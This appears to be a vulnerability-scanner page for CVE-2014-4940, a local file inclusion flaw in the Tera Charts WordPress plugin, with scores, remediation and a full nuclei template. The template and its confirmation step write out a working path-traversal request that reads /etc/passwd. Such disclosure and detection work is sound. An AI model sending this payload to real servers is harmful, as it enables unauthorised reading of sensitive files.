CVE-2014-4940· tera charts plugin project / tera-charts· CWE-22
WordPress Plugin Tera Charts - Local File Inclusion
mediumseverity
5CVSS score
19.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.
Impact
An attacker can exploit this vulnerability to read sensitive files on the server.
Fix
Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2014-4940 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2014-4940
info:
name: WordPress Plugin Tera Charts - Local File Inclusion
author: daffainfo
severity: medium
description: Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server.
remediation: |
Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-4940
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail=
- http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-4940
cwe-id: CWE-22
epss-score: 0.1927
epss-percentile: 0.97361
cpe: cpe:2.3:a:tera_charts_plugin_project:tera-charts:0.1:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: tera_charts_plugin_project
product: tera-charts
framework: wordpress
google-query: inurl:"/wp-content/plugins/tera-charts"
tags: cve2014,cve,wordpress,wp-plugin,lfi,tera_charts_plugin_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2014-4940
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail=
- http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from